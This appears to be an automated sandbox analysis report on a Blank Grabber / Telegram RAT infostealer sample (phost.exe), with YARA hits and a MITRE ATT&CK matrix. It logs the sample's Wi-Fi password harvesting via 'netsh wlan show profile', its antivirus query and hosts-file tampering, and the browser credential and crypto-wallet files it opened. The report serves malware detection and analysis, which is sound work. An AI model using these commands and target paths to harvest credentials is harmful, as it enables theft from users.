Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC7D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF62CC7D080

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC95EEC _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF62CC95EEC

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCF48CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

105_2_00007FF6BBCF48CC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\phost.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1702090319.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2178616618.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2170059092.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2166479596.000001AE1E122000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2173409124.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2175138187.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680237831.000001C32AC85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680237831.000001C32AC83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2176893974.000001AE1D044000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2172415408.000001AE1D7E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: phost.exe PID: 3220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: phost.exe PID: 3444, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI32202\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: phost.exe PID: 3444, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: phost.exe, 00000001.00000003.1842261128.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets.
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fJaxx
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match

File source: Process Memory Space: phost.exe PID: 3444, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1702090319.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2178616618.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2170059092.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2166479596.000001AE1E122000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2173409124.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2175138187.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680237831.000001C32AC85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680237831.000001C32AC83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2176893974.000001AE1D044000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2172415408.000001AE1D7E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: phost.exe PID: 3220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: phost.exe PID: 3444, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI32202\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: phost.exe PID: 3444, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	4 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	122 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	11 Deobfuscate/Decode Files or Information	Security Account Manager	58 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	NTDS	261 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
